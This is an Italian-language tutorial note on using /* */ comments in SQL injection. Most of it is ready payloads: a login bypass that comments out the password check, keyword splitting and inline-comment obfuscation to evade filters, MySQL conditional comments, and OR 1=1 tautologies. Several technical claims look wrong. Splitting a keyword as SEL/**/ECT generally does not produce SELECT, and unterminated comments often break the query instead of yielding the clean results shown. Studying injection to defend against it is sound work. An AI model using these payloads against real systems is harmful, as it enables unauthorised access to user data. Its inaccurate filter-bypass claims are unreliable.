tags: sql_injection commenti_multi_linea_sql_Injection commenti_sql_Injection
L’utilità dei commenti /* */ in una SQL injection sta nella loro capacità di:
-
Disabilitare parti di codice: Immagina di voler “spegnere” temporaneamente una parte della query originale per alterarne il comportamento. Ad esempio, potresti commentare la condizione sulla password per accedere senza conoscerla.
-
Inserire codice nascosto: Puoi inserire codice malevolo all’interno del commento, che verrà ignorato dal filtro ma eseguito dal database. Questo è utile per aggirare controlli di sicurezza che cercano parole chiave sospette.
-
Creare query complesse: In alcuni casi, potresti dover costruire una SQL injection più articolata, con più condizioni o sottoquery. I commenti
/* */ti permettono di strutturare il tuo codice in modo più chiaro e di “nascondere” parti di esso al filtro.
Quindi, non si tratta solo di “commentare” qualcosa che hai scritto tu, ma di sfruttare i commenti per manipolare la query originale e ottenere l’effetto desiderato.
Esempi Pratici di Utilizzo di /* */ per bypassare
Esempio 1: Bypass di una Condizione
Supponiamo che la query originale sia:
SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’;
Se inserisci:
admin’ /*
La query diventa:
SELECT * FROM users WHERE username = ‘admin’ /* AND password = ‘password’;
In questo caso, la condizione AND password = 'password' viene ignorata.
Esempio 2: Bypass di Filtri
Se il server blocca --, puoi usare /* */ per commentare parte della query:
SEL/*commento*/ECT * FROM users;
Questo potrebbe bypassare i filtri che cercano di bloccare il comando SELECT.
Esempio 3: Commento Condizionale (MySQL/MariaDB)
Se il database è MySQL/MariaDB, puoi usare /*! */ per eseguire codice condizionale:
admin’ /*! AND 1=1 */
In MySQL/MariaDB, questo verrà eseguito come:
admin’ AND 1=1
Esempio 4: Bypassare il comando OR filtrato
-
Esempio senza commenti:
SELECT * FROM users WHERE username = 'admin' OR 1=1--Il filtro potrebbe bloccare
ORcome parola chiave. -
Esempio con commenti per bypassare il filtro:
SELECT * FROM users WHERE username = 'admin' /*commento*/ OR /*commento*/ 1=1--Il filtro non rileva più la parola
OR
Esempi Pratici di Utilizzo di /* */ per evitare errori sintassi
-
Esempio:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123';Payload:
admin' /* AND password = 'password123' */Risultato:
SELECT * FROM users WHERE username = 'admin';
In questo caso, hai rimosso la parte della query che richiede la password.
Esempi Pratici di Utilizzo di /* */ per Obfuscazione del Payload
Esempio di obfuscazione:
SELECT/*ignore*/ * FROM/*ignore*/ users WHERE/*ignore*/ 1=1--
Questo rende più difficile identificare il payload.
Quando Usare /* */ in una SQL Injection
A. Per Spezzare Parole Chiave
Se il filtro blocca keyword come SELECT, OR, AND, ecc., puoi usare i commenti per aggirarlo:
SELECT/*bypass*/username FROM/*bypass*/users WHERE/*bypass*/1=1--
B. Per Ignorare Parti della Query
Se vuoi ignorare una clausola complessa o aggirare un controllo:
'/* AND password='password123' */
C. Per Analizzare la Struttura
Puoi chiudere la tua iniezione con un commento multi-linea per identificare quale parte della query originale è problematica.
-
Esempio:
admin' /* Questo è un commento */Il risultato:
SELECT * FROM users WHERE username = 'admin';